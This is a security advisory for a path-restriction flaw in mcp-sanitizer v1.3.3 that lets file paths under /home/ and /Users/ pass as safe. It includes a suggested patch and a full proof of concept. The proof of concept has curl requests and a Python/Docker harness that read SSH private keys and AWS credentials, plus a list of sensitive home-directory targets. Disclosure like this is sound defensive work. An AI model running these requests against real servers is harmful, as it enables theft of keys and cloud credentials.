GHSA-7w82-6f9j-v9jp: Path Traversal
File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
Summary
mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/idrsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.
Details
The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:
js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) );
if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } }
Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/idrsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.
The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.
The full data flow from a network request to the vulnerable return value is:
1. src/middleware/express.js:538-541 — The Express middleware routes filereader/filewriter tool parameters to sanitizer.sanitize(params.filepath, { type: 'filepath' }). 2. src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'filepath', secureSanitizeFilePath() is called. 3. src/sanitizer/mcp-sanitizer.js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error. 5. src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.
A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/idrsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.
Suggested patch:
diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ - const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];
PoC
Environment requirements: Docker, Python 3, Node.js 20
Step 1 — Build and start the reproduction container:
bash From the vuln-002/ directory python3 poc.py
The script automatically: 1. Copies the mcp-sanitizer source into a Docker build context. 2. Creates simulated victim files at /home/victim/.ssh/idrsa and /home/victim/.aws/credentials inside the container. 3. Builds a consumer HTTP server (server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path. 4. Sends the three test requests described below.
Step 2 — Manual HTTP requests (after the container is running on port 13572):
Control test — must be blocked: bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"toolname":"filereader","parameters":{"filepath":"/etc/passwd"}}' Expected: {"blocked": true}
Exploit test 1 — SSH private key exfiltration: bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"toolname":"filereader","parameters":{"filepath":"/home/victim/.ssh/idrsa"}}' Expected: {"blocked": false, "EXPLOITSUCCESS": true, "filecontent": "-----BEGIN RSA PRIVATE KEY-----..."}
Exploit test 2 — AWS credentials exfiltration: bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"toolname":"filereader","parameters":{"filepath":"/home/victim/.aws/credentials"}}' Expected: {"blocked": false, "EXPLOITSUCCESS": true, "filecontent": "[default]\nawsaccesskeyid = ..."}
Observed results (Phase 2 dynamic reproduction):
[Test 1 — Control] POST /tool {filepath: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)
[Test 2 — Exploit] POST /tool {filepath: '/home/victim/.ssh/idrsa'} => blocked=false, EXPLOITSUCCESS=true sanitizedpath: /home/victim/.ssh/idrsa filecontent: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRETKEYCONTENTEXFILTRATEDVIAHOMEPATHBYPASSVULN002 -----END RSA PRIVATE KEY-----
[Test 3 — Exploit] POST /tool {filepath: '/home/victim/.aws/credentials'} => blocked=false, EXPLOITSUCCESS=true filecontent: [default] awsaccesskeyid = AKIAIOSFODNN7EXAMPLE awssecretaccesskey = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east-1
Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.
Impact
This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.
Any application that integrates mcp-sanitizer to validate file paths for MCP filereader or filewriter tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.
Sensitive targets include but are not limited to: - SSH private keys (~/.ssh/idrsa, ~/.ssh/ided25519) - Cloud provider credentials (~/.aws/credentials, ~/.config/gcloud/credentials.db) - Kubernetes config (~/.kube/config) - GPG keys (~/.gnupg/) - Application tokens (~/.npmrc, ~/.netrc, ~/.env)
The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.
Reproduction artifacts
Dockerfile
dockerfile VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/ path bypass Builds a Node 20 container with: - mcp-sanitizer source from the local repo - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/ - A consumer HTTP server that trusts the sanitizer
FROM node:20-slim
LABEL vuln="VULN-002" \ cwe="CWE-22" \ title="mcp-sanitizer home-directory path bypass"
Install mcp-sanitizer production dependencies WORKDIR /app/repo COPY repo/package.json repo/package-lock.json ./ RUN npm ci --omit=dev --no-audit --no-fund
Copy mcp-sanitizer source code COPY repo/src ./src
Create simulated victim home directory with sensitive files These represent secrets a real attacker would target RUN mkdir -p /home/victim/.ssh /home/victim/.aws RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/idrsa && \ echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/idrsa && \ echo 'SECRETKEYCONTENTEXFILTRATEDVIAHOMEPATHBYPASSVULN002' >> /home/victim/.ssh/idrsa && \ echo 'CVEVULN002SANITIZERALLOWSHOMEDIRECTORYABSOLUTEPATHS' >> /home/victim/.ssh/idrsa && \ echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/idrsa && \ chmod 600 /home/victim/.ssh/idrsa RUN echo '[default]' > /home/victim/.aws/credentials && \ echo 'awsaccesskeyid = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \ echo 'awssecretaccesskey = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \ echo 'region = us-east-1' >> /home/victim/.aws/credentials && \ chmod 600 /home/victim/.aws/credentials
Copy the consumer server application WORKDIR /app COPY server.js ./server.js
EXPOSE 3000
CMD ["node", "server.js"]
poc.py
python #!/usr/bin/env python3 """ VULN-002 Dynamic Reproduction PoC mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)
Vulnerability: src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/' as allowed absolute path prefixes. A path like /home/victim/.ssh/idrsa passes sanitizer.sanitize(path, {type: 'filepath'}) with blocked=false, and the consumer app reads the file using the trusted sanitized path.
Attack chain: 1. Attacker sends POST /tool with filepath=/home/victim/.ssh/idrsa 2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/idrsa'} 3. Consumer app calls fs.readFile(sanitizedpath) — trusting the sanitizer 4. SSH private key contents returned in HTTP response (exfiltrated)
Usage: python3 poc.py """
import json import os import shutil import subprocess import sys import tempfile import time import urllib.request import urllib.error
Paths SCRIPTDIR = os.path.dirname(os.path.abspath(file)) REPODIR = os.path.abspath(os.path.join(SCRIPTDIR, "..", "repo")) PHASE2RESULT = os.path.join(SCRIPTDIR, "phase2result.json")
Docker settings IMAGENAME = "vuln002-mcp-sanitizer-poc" CONTAINERNAME = "vuln002-poc-container" HOSTPORT = 13572 # High port to avoid conflicts
BASEURL = f"http://127.0.0.1:{HOSTPORT}" TOOLURL = f"{BASEURL}/tool" HEALTHURL = f"{BASEURL}/health"
def log(msg): print(f"[poc] {msg}", flush=True)
def saveresult(passed, verdict, reason, evidence, buildcmd, runcmd): result = { "passed": passed, "verdict": verdict, "reason": reason, "buildcommand": buildcmd, "runcommand": runcmd, "poccommand": "python3 poc.py", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "server.js"] } with open(PHASE2RESULT, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensureascii=False) log(f"Saved phase2result.json (verdict={verdict})")
def run(cmd, timeout=300, capture=True): """Run a subprocess command and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, captureoutput=capture, text=True, timeout=timeout ) return result.returncode, result.stdout, result.stderr
def stopcontainer(): subprocess.run( ["docker", "rm", "-f", CONTAINERNAME], captureoutput=True, timeout=15 )
def httppost(url, payload, timeout=8): data = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=data, headers={"Content-Type": "application/json"}, method="POST" ) with urllib.request.urlopen(req, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8"))
def httpget(url, timeout=5): with urllib.request.urlopen(url, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8"))
def waitforserver(maxwait=40): log(f"Polling {HEALTHURL} until ready (max {maxwait}s)...") deadline = time.monotonic() + maxwait while time.monotonic() < deadline: try: resp = httpget(HEALTHURL) if resp.get("ok"): log("Server is up and responding.") return True except Exception: pass time.sleep(0.6) return False
def preparebuildcontext(): """ Create a temporary Docker build context containing: buildctx/ Dockerfile server.js repo/ package.json package-lock.json src/ """ buildctx = tempfile.mkdtemp(prefix="vuln002-ctx-") log(f"Build context directory: {buildctx}")
# Copy Dockerfile and server.js from this script's directory for fname in ("Dockerfile", "server.js"): src = os.path.join(SCRIPTDIR, fname) dst = os.path.join(buildctx, fname) shutil.copy2(src, dst) log(f" Copied {fname}")
# Copy only the necessary repo files (skip nodemodules to keep context small) repodst = os.path.join(buildctx, "repo") os.makedirs(repodst) shutil.copy2(os.path.join(REPODIR, "package.json"), repodst) shutil.copy2(os.path.join(REPODIR, "package-lock.json"), repodst) shutil.copytree( os.path.join(REPODIR, "src"), os.path.join(repodst, "src") ) log(f" Copied repo/src and package files")
return buildctx
def main(): log("=" 60) log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/ bypass") log("=" 60)
# Validate prerequisites if not os.path.isdir(REPODIR): log(f"ERROR: Repo not found at {REPODIR}") saveresult(False, "FAIL", f"재현 전제조건 미충족: repo 디렉터리({REPODIR})가 존재하지 않음.", "", "", "") return 1
rc, , = run(["docker", "info"], timeout=10) if rc != 0: log("ERROR: Docker daemon is not accessible.") saveresult(False, "FAIL", "Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.", "", "", "") return 1
# Clean up any leftover container from a previous run stopcontainer()
buildctx = None try: # Step 1: Prepare build context buildctx = preparebuildcontext()
# Step 2: Build Docker image buildcmd = f"docker build -t {IMAGENAME} {buildctx}" log(f"Building Docker image: {buildcmd}") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGENAME, buildctx], timeout=300 ) if rc != 0: errtail = (stdout + stderr)[-600:] log(f"Docker build FAILED (rc={rc}):\n{errtail}") saveresult(False, "FAIL", f"Docker 이미지 빌드 실패 (exit code {rc}). " f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. " f"마지막 출력: {errtail[-200:]}", errtail, buildcmd, f"docker run --rm -p {HOSTPORT}:3000 {IMAGENAME}") return 1 log("Docker image built successfully.")
# Step 3: Run container in detached mode runcmd = f"docker run --rm --name {CONTAINERNAME} -p {HOSTPORT}:3000 -d {IMAGENAME}" log(f"Starting container: {runcmd}") rc, stdout, stderr = run( ["docker", "run", "--rm", "--name", CONTAINERNAME, "-p", f"{HOSTPORT}:3000", "-d", IMAGENAME], timeout=30 ) if rc != 0: log(f"docker run FAILED:\n{stderr}") saveresult(False, "FAIL", f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}", stderr[-300:], buildcmd, runcmd) return 1 containerid = stdout.strip() log(f"Container started: {containerid[:12]}")
# Step 4: Wait for HTTP server inside container if not waitforserver(): # Collect container logs for diagnosis , clog, = run(["docker", "logs", CONTAINERNAME], timeout=10) log(f"Container logs:\n{clog}") saveresult(False, "FAIL", f"서버가 {HOSTPORT} 포트에서 제한 시간 내 응답하지 않음. " f"컨테이너 로그: {clog[-300:]}", clog[-300:], buildcmd, runcmd) stopcontainer() return 1
# ---------------------------------------------------------------- # Step 5: Test 1 — Control: /etc/passwd must be BLOCKED # ---------------------------------------------------------------- log("-" 50) log("TEST 1 (control): filepath=/etc/passwd [expected: blocked=true]") try: rctrl = httppost(TOOLURL, { "toolname": "filereader", "parameters": {"filepath": "/etc/passwd"} }) except Exception as exc: rctrl = {"requesterror": str(exc)} log(f" Response: {json.dumps(rctrl)[:300]}") ctrlblocked = rctrl.get("blocked", False)
# ---------------------------------------------------------------- # Step 6: Test 2 — Exploit: /home/victim/.ssh/idrsa must PASS # ---------------------------------------------------------------- log("-" 50) log("TEST 2 (exploit): filepath=/home/victim/.ssh/idrsa [expected: blocked=false + file content]") try: rssh = httppost(TOOLURL, { "toolname": "filereader", "parameters": {"filepath": "/home/victim/.ssh/idrsa"} }) except Exception as exc: rssh = {"requesterror": str(exc)} log(f" Response: {json.dumps(rssh)[:400]}")
# ---------------------------------------------------------------- # Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS # ---------------------------------------------------------------- log("-" 50) log("TEST 3 (exploit): filepath=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]") try: raws = httppost(TOOLURL, { "toolname": "filereader", "parameters": {"filepath": "/home/victim/.aws/credentials"} }) except Exception as exc: raws = {"requesterror": str(exc)} log(f" Response: {json.dumps(raws)[:400]}")
# ---------------------------------------------------------------- # Step 8: Evaluate results # ---------------------------------------------------------------- log("-" 50) log("Evaluating results...")
sshbypassed = ( not rssh.get("blocked", True) and rssh.get("EXPLOITSUCCESS") is True and "idrsa" in rssh.get("sanitizedpath", "") and bool(rssh.get("filecontent")) and "RSA" in rssh.get("filecontent", "") )
awsbypassed = ( not raws.get("blocked", True) and raws.get("EXPLOITSUCCESS") is True and "credentials" in raws.get("sanitizedpath", "") and bool(raws.get("filecontent")) and "awsaccesskeyid" in raws.get("filecontent", "") )
log(f" [control] /etc/passwd blocked={ctrlblocked}") log(f" [exploit] SSH key bypass={sshbypassed}") log(f" [exploit] AWS creds bypass={awsbypassed}")
# PASS requires: control is blocked AND at least SSH bypass confirmed if ctrlblocked and sshbypassed: sshcontent = rssh.get("filecontent", "") awscontent = raws.get("filecontent", "")
evidence = ( f"[Test 1 — Control] POST /tool {{filepath: '/etc/passwd'}} " f"=> blocked=true (dangerousUnixPaths가 /etc/를 올바르게 차단)\n\n" f"[Test 2 — Exploit] POST /tool {{filepath: '/home/victim/.ssh/idrsa'}} " f"=> blocked=false, EXPLOITSUCCESS=true\n" f" sanitizedpath: {rssh.get('sanitizedpath')}\n" f" filecontent (truncated):\n" f" {sshcontent[:300]}\n\n" f"[Test 3 — Exploit] POST /tool {{filepath: '/home/victim/.aws/credentials'}} " f"=> blocked={raws.get('blocked', True)}, " f"EXPLOITSUCCESS={raws.get('EXPLOITSUCCESS')}\n" f" filecontent: {awscontent[:200]}\n\n" f"[Root Cause] validation-utils.js:190 — " f"allowedAbsolutePaths includes '/home/' and '/Users/': " f"any absolute path starting with /home/ passes with blocked=false." )
reason = ( "/home/ prefix가 allowedAbsolutePaths 화이트리스트에 포함되어 있어 " "/home/victim/.ssh/idrsa 경로가 sanitizer.sanitize()에서 blocked=false로 반환됨. " "소비 앱이 해당 경로로 fs.readFile을 호출하여 SSH 개인키 내용이 HTTP 응답으로 유출됨. " "CWE-22 경로 제한 우회 취약점 동적 재현 완료 (컨테이너 내 관측 가능한 파일 유출 확인)." )
saveresult( True, "PASS", reason, evidence, f"docker build -t {IMAGENAME} <buildctx>", f"docker run --rm -p {HOSTPORT}:3000 {IMAGENAME}" ) log("=== FINAL VERDICT: PASS ===") return 0
else: # Record failure details evidence = ( f"[Test 1] ctrl response: {json.dumps(rctrl)[:300]}\n" f"[Test 2] ssh response: {json.dumps(rssh)[:300]}\n" f"[Test 3] aws response: {json.dumps(raws)[:300]}\n" f"ctrlblocked={ctrlblocked}, sshbypassed={sshbypassed}, awsbypassed={awsbypassed}" )
if not ctrlblocked: # Unexpected: /etc/passwd should be blocked reason = ( "/etc/passwd 경로가 예상과 달리 차단되지 않았음. " "서버 초기화 오류 또는 취약점 패치 가능성. 서버 로그를 확인하시오." ) else: reason = ( f"/home/victim/.ssh/idrsa bypass 미확인 (sshbypassed={sshbypassed}). " f"응답: {json.dumps(rssh)[:200]}. " "서버 응답 구조 또는 파일 생성 확인 필요. " "container 내 /home/victim/.ssh/idrsa 파일 존재 여부를 " "'docker exec <container> cat /home/victim/.ssh/idrsa'로 확인하시오." )
saveresult(False, "FAIL", reason, evidence, f"docker build -t {IMAGENAME} <buildctx>", f"docker run --rm -p {HOSTPORT}:3000 {IMAGENAME}") log("=== FINAL VERDICT: FAIL ===") return 1
except KeyboardInterrupt: log("Interrupted by user.") return 1 except Exception as exc: import traceback tb = traceback.formatexc() log(f"Unexpected error: {exc}\n{tb}") saveresult(False, "INCOMPLETE", f"예상치 못한 오류 발생: {exc}. " "traceback을 확인하고 Docker 환경 및 repo 경로를 점검하시오.", tb[-600:], "", "") return 1 finally: stopcontainer() if buildctx and os.path.isdir(buildctx): shutil.rmtree(buildctx, ignoreerrors=True) log(f"Cleaned up build context: {buildctx}")
if name == "main": sys.exit(main())
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/mcp-sanitizerto a version that resolves this vulnerability.Fixed in 1.4.0 - Configuration
Remove '/home/' and '/Users/' from allowedAbsolutePaths, retain only '/tmp/' and '/var/tmp/', and reject normalized paths containing the listed sensitive home-directory fragments by throwing 'Access to sensitive user configuration path not allowed'.
mcp-sanitizer src/utils/validation-utils.js allowedAbsolutePaths and sensitiveHomeFragments = allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; sensitiveHomeFragments = ['/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', '/.npmrc', '/.env']
Event History
Frequently Asked Questions
Which deployments are exposed to exploitation?
Consumer applications using mcp-sanitizer v1.3.3 are exposed if they trust sanitized file paths and use them in filesystem read or write operations. The described impact includes paths outside configured safe roots when they begin with /home/ or /Users/.
What does an attacker need to exploit this issue?
The reported reproduction used a single HTTP POST request and required no authentication. Exploitation depends on the application accepting an attacker-controlled path, passing it through sanitizer.sanitize(), and then using the result in a filesystem operation.
Are default safe-root restrictions sufficient to prevent the issue?
No. The vulnerable validation logic allows absolute paths under /home/ and /Users/ even when they are outside configured safe root directories, so sensitive files such as SSH keys and cloud credentials may pass validation.
What version addresses the vulnerability?
The advisory references the v1.4.0 release and a remediation commit. The affected version identified in the report is v1.3.3.